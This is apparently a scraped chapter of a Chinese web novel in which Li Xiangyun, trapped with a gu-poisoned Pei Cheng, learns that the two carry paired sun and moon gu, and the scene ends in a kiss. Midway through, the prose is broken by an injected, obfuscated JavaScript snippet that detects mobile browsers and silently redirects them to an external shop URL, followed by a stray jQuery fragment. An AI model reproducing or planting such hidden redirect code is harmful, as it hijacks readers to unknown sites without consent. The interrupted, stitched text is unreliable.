42.蛊发
    裴承?

    李相筠有点不敢相认这隐匿在黑暗当中,眼冒红光的人会是裴承。

    他的呼吸很重又急促,像头已经不能思考的野兽。

    李相筠对上他视线的那一刻,脑子一片空白,唯有“惊悚”二字牢牢印刻。

    难怪他要隐瞒行踪到这里来,他看起来病得可比她重多了!

    李相筠用尽全身力气将自己往后挪动,直到背靠住粗粝的墙壁,完全隐藏在黑暗当中。

    这时从上方的洞口处传来了蛊医和飞雨飞星的交谈声。

    “万幸你们把月蛊带到了这里。”

    胡老的嗓音尤其愉悦,“不过家主也真是任性,明明解药就在身边还不用,非要把自己折腾成这幅模样,老夫虽然厉害但也不是神仙,岂能次次救他?”

    “可是现在家主失控了,他不知道轻重。”飞星忐忑道:“胡老你就这么草率地把他们放一起,这样可以吗?不用再烧点香,下点药?实在不行你吹吹笛子啊!”

    “用不着,家主又不是三岁小儿,他知道怎么办,这是人的本性。”

    “这跟岁数有什么关系?家主从前都是抗过去的……而且你不能一点也不保障那娘子的安危。”

    “对!飞雨说的一点也没错。”

    “区区一个小娘子,等她死了,我把月蛊收回,再找个合适的人种下,日后对家主而言更好。”

    “原来你是打着这个主意,家主绝不会答应,飞星,下去救人!”

    李相筠一惊,她万没想到这老蛊医果然恶毒,根本不在乎她死活。

    好在飞雨飞星还算仗义,李相筠一边谨慎防备地盯住角落里睁着一双赤红眼睛的裴承,一边等着人下来救自己,然听见砰砰两声沉重的砸地声,上面诡异地再没有动静。

    李相筠捂住后脖颈,暗道不好。

    这是蛊师的地盘,他既然能让毒虫咬自己,也会放虫子咬飞星飞雨,搞不好两人都被毒翻了。

    她分出余光去看头顶光亮处,判断那洞口的高度,光凭她一人是别想蹦出去。

    阿缦的声音响起:“阿翁你说的可是真的,那月蛊,月蛊真的在那娘子身上?”

    “错不了,裴承的日蛊每年发作的时间都是固定的,绝不可能无缘无故提前,这正是因为月蛊在他身边影响了他。”胡老冷嗤一声,“也不知道那娘子是什么人,他宁可让自己如火焚烧也不肯碰一下。”

    “反正她死定了,是什么人有什么干系!”

    原本李相筠还当阿缦是个天真可爱的女郎,没想到她竟完全也不把她的性命当回事,甚至还盼望她死,果然是南巫寨出来的人,邪性和残忍已经根深蒂固。

    李相筠气恼。

    一会气自己居然会来找蛊医看病,一会气飞星飞雨不顶用。

    最后她还是把眼睛转回到不远处的裴承身上。

    什么日蛊月蛊,都是南巫寨的东西,她身上怎么会有这种邪门晦气的东西,说不定就是裴承给她下的。

    她手握紧,竹笛在她手里嘎吱叫。

    随后阿缦的声音又响起,这次带着些担忧,“可是我很担心家主,他从前都没有提前发作过,会不会伤着他身子啊?”

    “若没有月蛊在,的确要担心一下,但如今月蛊就在这里,只要他身体里的日蛊能够与月蛊交融,天亮便会恢复如常……”

    “万一不能呢?”

    “什么不能?”胡老反问了一句,阿缦扭扭捏捏不说,胡老便冷冷道:“那就是他自寻死路罢了!”

    阿缦赶紧道:“呸呸呸,家主才不会。”

    伴随木板挪动声,头顶的光越来越小,祖孙俩合力把打开的机关合上。

    “阿翁我们先前可说好了,等那娘子死了,你要把月蛊给我!”

    “好好好,阿翁都应你。”

    祖孙两其乐融融离开。

    当最后一点光消失,李相筠冷汗已经浸透了后背。

    她觉得后颈上那被虫蛰过的地方发烫发肿,应该是毒素侵入体内。

    那蛊医还想自己帮裴承解什么毒,应当不会用毒虫把她彻底弄死,只是让她身体麻痹不能动弹。

    黑暗中那红色的眼睛忽然消失,是裴承闭上了眼睛。

    李相筠更加紧张,仔细聆听四周动静。

    地上铺着的一层干燥稻草会帮助她及时辨别裴承的动向。

    但是很安静,一直很安静。

    只有裴承的呼吸声清晰入耳。

    “裴承?”

    李相筠小声地唤了他的名字。

    或许那蛊医错了,裴承并没有失去理智,他仍然能够控制自己。

    倘若他没失控,那是不是可以帮她解了这麻痹人的蛊……

    等等,她的手好像稍微能够动了。

    难道这蛊毒对她作用并不大?

    李相筠精神一振,颤巍巍从腿上摸出自己的刀。

    “……抱歉。”

    裴承忽而开口说话了。

    李相筠定了定神,看向前方,那双赤红艳丽的眼睛并没有变化,只是因为眼皮下耷而遮去了大半,只有些许诡异的微芒,似乎在暗暗窥探着猎物。

    “你,没事吧?”李相筠尽量不让匕.首出鞘的声响惊动对方,生怕他暴起发狂,这么小的空间里,她打不过也没处藏。

    “你不怕我?”

    那双眼睛又睁大了些,更显得裴承人还精神。

    李相筠很欣慰。

    裴承果然不同凡响意志过人,区区日蛊奈何不了他,他们兴许还能相安无事到天亮。

    “你好端端地讲人话,我做什么怕你?”李相筠已经将匕.首抽.出鞘,好在此地无光,也不用担心利刃反射出光让人瞧见。

    裴承似乎很轻地笑了声。

    李相筠立刻手臂浮起一层鸡皮疙瘩,他这一笑就好像他能够看见她的动作,也知道她手上有匕.首。

    “你的右手边,往前……”裴承的声音停顿了好一会,才虚弱道:“往前七步的位置,从底部往上数第二块砖推进去,后面有暗道能够出去……”

    能出去?

    李相筠一喜。

    果然天无绝人之处。

    她把竹笛顺手往腰间一插,抹黑估摸着距离,在墙上左右摸索,果不其然找到那块机关砖,推进去,咔嚓一声,整面砖墙都可旋动,后面隐约有空气流动的微风,是个出去的通道。

    “裴承,你不跟我一块出去吗?”李相筠往里面走了一步回头“看”,她其实已经看不清裴承具体的位置,因为他又重新闭上了眼睛。

    耐心等了一会,才等来一句虚弱之言。

    “不出去了。”

    李相筠刚刚听那蛊医说了许多,也并非没有听明白。

    那蛊医说的日蛊月蛊分别在她与裴承的身体里,裴承提前发作也是因为她在旁边的缘故,而能缓解他如今状况的也唯有她身上的月蛊。

    李相筠并不想窝囊地死在这里,死在裴承的手上,她想离这邪门的东西越远越好,但是偏偏脚却很难往前挪动,那该死的一点良心绊住了她的脚。

    她努力抽了口气,咬牙道:“裴承,那你会死吗?”

    裴承就像已经死掉了一样安静,若不是李相筠又看见他缓缓睁开眼,只怕要以为自己的话没有被听见。

    可他睁着眼睛却不出声,实在让人失去所有耐性。

    李相筠讨厌他现在磨磨唧唧,喝道:“说话!”

    裴承似是无奈又好像是自嘲,“我不知道。”

    “你怎么不知道?……那蛊师说我身体里月蛊的事,你可知情吗?”

    “那日才知道。”

    裴承除却声音有些虚弱之外,其实吐字还算清晰,没有不寻常的地方,这让李相筠的心稍安,故而也没有立刻拔脚就走。

    “那日是什么时候?”

    “郸城外。”

    这么说她身上的蛊并不是裴承下的?

    李相筠也想起来了,“所以是因为我你才发病?”顿了下,她又改口道:“不对,这也不能怪我,我最近也觉得奇奇怪怪的,可能也是月蛊的影响?”

    “你不舒服?你身体怎么样了?难受吗?”裴承的声音虽轻但急,末了他又低声道:“我不知道月蛊具体会怎样,但胡老说过,应当不如日蛊这般霸道凶险……”

    李相筠道:“现在好多了,就是刚摔下来撞到了背……”李相筠又顿住话,因为这点伤无足轻重,“你呢?你为什么宁可待在这里也不跟我出去?”

    “出去会伤人。”

    “所以你让我走,也是怕会伤到我?”李相筠干脆转过身,“可是那蛊师也说了,倘若没有我身体里的月蛊,你可能会死,你为什么还要我走。”

    “我也不一定会死,你还不走?”

    李相筠摸着出口的石砖,只要一转身她就能够出去,可她犹豫了,因为这是裴承给她的恩情,她最讨厌欠人恩情,尤其是快要死的人。

    因为死了,她永远也还不了,就好像皇兄,无论她做什么,都还不了。

    “你当真不需要我在?我走了可就不会再回来了。”

    再不回来。

    那双赤红的眼睛直直看来,那诡异的颜色隐隐有加深的迹象,就仿佛是李相筠说了什么冷酷无情的话,抛弃了他这个小可怜。

    李相筠的心脏都不由颤了颤,好像给浸泡在酸水当中,又酸又胀,填满了胸腔。

    她不知道自己究竟是出了什么问题,明明可以一走了之,偏偏要多嘴一句:“对啊,有什么我能够帮上的举手之劳,快说,不然我就真的走了后悔也来不及了!”

    裴承的眼睛轻轻阖上,从出口流进来的风吹在了他的脸上,有些冰冷。

    像是那一年的风雪。

    冰冷的晶簇凝结在他的睫毛上,沉甸甸地压住他视线,只留下很窄细的一条缝隙。

    身边躺在雪地上的人,一手搁在微微起伏的胸前,一手虚虚抓在他的衣摆。

    他的面孔乌青,双眼赤红,脖颈上的血管骇人地高高鼓起,一副命不久矣的模样。

    这是教他读书习武的老师,一个南巫寨外来的人。

    他静静听着他细若游丝的话语,没有反应。

    风雪是这样冷,到处都苍茫一片。

    “执玉,你不能再继续待下去了,你母亲……你母亲爱你如命,你怎忍心把自己困在这里,你走吧,前面的路能够通到寨子外,你还有机会……有机会过不一样的生活……”

    他站在没有动,雪花慢慢覆在他的头上、肩上,把他塑成了一尊雪人,只有鼻息喷.出的热雾显示出活人的气息。

    “最后跟我说说话吧,什么都好,说说吧……”男人的声音与气息都变得微弱,请求甚至是哀求,“说点……什么……”

    这是男人唯一的执念,手指用尽力气拽住他的衣摆,仿佛也想把他带入这痛苦的泥沼中。

    他知道男人想要听什么,但依然固执地没有出声,仿佛在和自己较劲,在和那个别扭的不肯轻易原谅的少年较劲。

    最后男人的手脱力坠下,砸在积雪之上,声音很轻,就好像一片凋零的落叶虽不甘,但还是旋落枝头,一去不返。

    风吹着雪花在空中打转,点融在脸颊上,缓缓流下两行水迹。

    许久许久,他才费力睁大眼睛,看清倒在雪地里的那张脸,颤着声道:“老师?”

    雪花均匀地覆着男人的脸,眼睛鼻子嘴巴,无一幸免。

    “老师?”

    他无助地,拔高了音调。

    男人再没有理他,仿佛已经静静地死去,多时。

    他膝盖沉重,扑通跪在雪地里。

    “父亲!”

    迟一步,便是错一世,再无挽回。

    ……他死了,李相筠能活下去吗?

    他还不想这么快死去。

    “不要走。”

    李相筠愣了愣,反应了许久才回过神,“你是叫我留下来吗?”

    裴承跟着道:“留下来。”

    李相筠迟疑了下,“……万一你发狂,伤了我怎么办?”

    “你不是拿了刀,随时准备捅我吗?”

    李相筠:“……”

    她就说吧,总感觉裴承这厮狗鼻子狗眼能够看见!

    而且这对话莫名有些熟悉,就好像……就像是她梦到的那样。

    “我留下来,还要做什么才能帮你快点好起来?”李相筠握紧匕.首,循声走近,可没有走两步她又停步,“我靠你太近,会让你难受吗?”

    “不会了。”

    李相筠走到裴承的跟前,蹲下身,刚好就摸到裴承放在膝上的手。

    他的手温很低,像冰块,若是普通人会觉得冷得难受,但对于李相筠而言反而有点舒适。

    正好与她的体热抵消。

    不过她不能拿着裴承的手不放,悻悻放下,又问:“为什么我身上会有月蛊?是什么人给我下的?”

    裴承道:“我不知道……当年是你皇兄怀贤太子带人到南巫寨,南巫寨里混乱一片,月蛊也不见踪迹,我本以为你皇兄是用在自己身上,因为月蛊可解百毒……”

    “我皇兄?”

    皇兄果然去过南巫寨。

    裴承继续道:“怀贤太子到南巫寨时,身上有天星草毒。”

    “不可能。”李相筠立刻道。

    “他从南巫寨把我带出来后我亲眼所见,也是我告诉他月蛊能够解百毒,兴许对天星草毒也有用。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261817|145793||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “可是……月蛊却在我的身上?皇兄他……”李相筠说着说着自己失了神。

    皇兄的尸身上,有天星草毒的痕迹,可若中了天星草毒活不过三个月,时间也对不上,倘若皇兄是用月蛊为她解了毒,那皇兄自己呢?

    皇兄死在四年后,兴许当时他已解了毒,而后再次中了毒。

    可究竟是谁给他下的毒,要致他于死地。

    李相筠敲了敲自己的脑袋。

    倘若她没有失忆,或许能够想起点有用的线索,偏她该记起的没有记起,不该记起的乱七八糟却记起了。

    拳头靠着额头,无论是手还是头感觉都很热。

    李相筠用手背靠上去,发现并不是自己的错觉,不但是额头,她的耳朵脖子都变得很烫。

    可是她身上却没有汗水。

    就算是不懂医术的人也知道闭而不发会有大问题。

    她就好像一个烧得滚烫的炼丹炉,所有的热都团在里面,无法发散。

    “裴承,你有没有觉得好热?那该死的老头是不是放火在烤我们?”

    “热?”裴承伸出一只手摸过来,先触碰到她的脸,而后握住她的手。

    “你怎么还这么凉……”李相筠都舍不得裴承放手,于是反客为主握住他。

    她滚烫的手掌心和五根指头紧紧贴着裴承的手背,舒服地险些轻叹一声。

    好凉快,可惜只有一只手凉快,她身上也好热……

    裴承没有甩开她,任由她在他手上蹭,“我身上的日蛊发作时候会让身体由热转寒,那月蛊想必是相反的,由寒转热。”

    李相筠拉了拉衣襟,热得坐立不安:“那怎么办?”

    她从小体寒,吃尽了手脚冷僵的苦,但没有想到身体燥.热也是十分痛苦的,她现在恨不得扒光衣服跳进结冰的池子里浸泡消火。

    “你有办法的吧?你的蛊和我的蛊听起来是相反的,我们是不是在一块就能舒服些?”

    “嗯……”

    “然后?”

    “日月蛊分为日蛊与月蛊,日蛊性烈克万毒,月蛊性温解百毒,日月蛊相生相克,中蛊应择阴阳体,阴体种日蛊,阳体种月蛊,方能够阴阳平衡。”

    “阴阳平衡?也就说我们得让日月蛊在一起?”李相筠被烧得心急火燎,干脆一屁股坐在裴承身侧,“这样可以吗?”

    没到片刻,李相筠自己就摇起了头,“不够。”

    光走近握着手,她没有一点被缓解的感觉,反而越来越难受,五脏六腑都被火烧灼着,嗓子眼都要冒烟了。

    “裴承,我好难受……”

    若是普通的病痛,打死李相筠她都不可能对裴承低头。

    但是这蛊虫带起来的热就好像真真切切在她身体里放了一把火,火势蔓延变大,愈演愈烈,她的骨头架子都好像快被烧穿了。

    这些年裴承每一年都要经历日蛊带来的折磨,忍耐度远比胡老等人所能够想的多,他可以忍住不发狂,也能忍住留李相筠在身边而不撕碎她。

    “忍忍。”裴承按住李相筠的手,把自己的经验教给她,“蛊虫在你的身体里,你们一荣俱荣一损俱损,故而它并不会真的伤害你的身体,只是想要让你服从它的意愿。”

    “意愿?什么意愿?”李相筠烧得神志不清,扯住裴承的衣襟,凶巴巴道:“把话说清楚了,不然我现在就捅了你!”

    裴承倒不是怕李相筠捅他,但看见她如此难受,也只能回道:“日月蛊要气息交换,阴阳交合。”

    只是这个法子不适合他们,故而他按住李相筠的手,“你信我,能忍过去。”

    忍?

    李相筠已经忍不了一点了。

    听完他的话就反复琢磨那八个字。

    气息交换,阴阳交合。

    酒宴上听过艳.诗有云:美人呵气如兰兮,君子心脾之荡漾;唇齿相依含气兮,使君肝肠而柔腻……

    这不就是指亲嘴吗?

    李相筠还当是什么大事,如此不痛不痒的小事裴承扭扭捏捏做什么?

    “李相筠?”裴承的音调微变,因为李相筠的手松开了他的衣襟,摸到他的脸上。

    那只手又烫又滑,在他脸颊上反复摩挲。

    匕.首掉进稻草堆,她也没有反应,腾出来的两只手全放在他的脸上脖子上,像是在给自己降温,又仿若亲昵地抚.摸。

    裴承推不开她。

    因为李相筠渴.望他皮肤上的凉,他也贪享她身体上的热。

    他的眼睛微阖,喉结翻滚,只有放在膝盖上的手紧紧握成拳。

    李相筠从小被当做皇子养,固然明白男女之别,但到底没有寻常女郎那样谨小慎微,把清白当做一件要命的事。

    她只有想要和想做的事情。

    眼下,她想要的是让自己不要这么难受,想做的是利用裴承让自己不要这么难受。

    两只手捧住裴承的脸,让他没有办法转开,然后猛地把自己脸贴近,把唇怼上去。

    吧唧——好大一声。

    裴承还没反应过来,李相筠就抽.开了身,隔着一小段距离,兀自嘟囔,“也没什么用啊?难道是姿.势不对……”

    两瓣软唇再次压在他的唇上,这次时间更更久,甚至她还歪着脑袋,变换着角度,仔仔细细碾了一遍,分开,再压。

    裴承的眼睛因为吃惊而忘记了闭上。

    李相筠柔软的发丝垂坠在他的颈窝,时不时扫过他的锁骨,皮肤相亲,那温热细腻的触感让人战栗。

    一种难言的快意从脊椎末骨升腾,在腹.腔处凝成一团。

    僵冷的四肢也逐渐复苏,蛰伏的兽意也逐渐苏醒。

    倘若李相筠现在仔细看着裴承的眼睛,一定会更加小心和防备,但是她现在只有多次尝试而不奏效恼怒,把裴承往前一推,擦了把嘴,气道:“不管用,不试……”

    话没说完,她的后脖颈被裴承抓住,人被拉住往前。

    李相筠才“啊”了声,嘴就被完全堵上。

    她睁大眼睛,但是黑暗中只能看见裴承模糊的轮廓。

    唯有唇齿深.入相贴的感受。

    软,湿,滑。

    这完全不是她刚刚“蜻蜓”点水的亲吻,更深,更细致,更让人心魂俱颤。

    李相筠从未感受过这些。

    一股凉意从咽喉蔓延,如一条线贯穿而下,灼.热的身体立刻被舒.解许多。

    手脚都软了,她被放倒在地上,干枯的稻草支棱在她脸侧,擦过肌肤,留下微微的刺痛,她感觉到面前沉下了一道阴影。

    裴承重新压下脸,吻上她的唇。

    他的舌.尖不知疲倦地探索她,感受她。

    就好像要把她整个吃掉。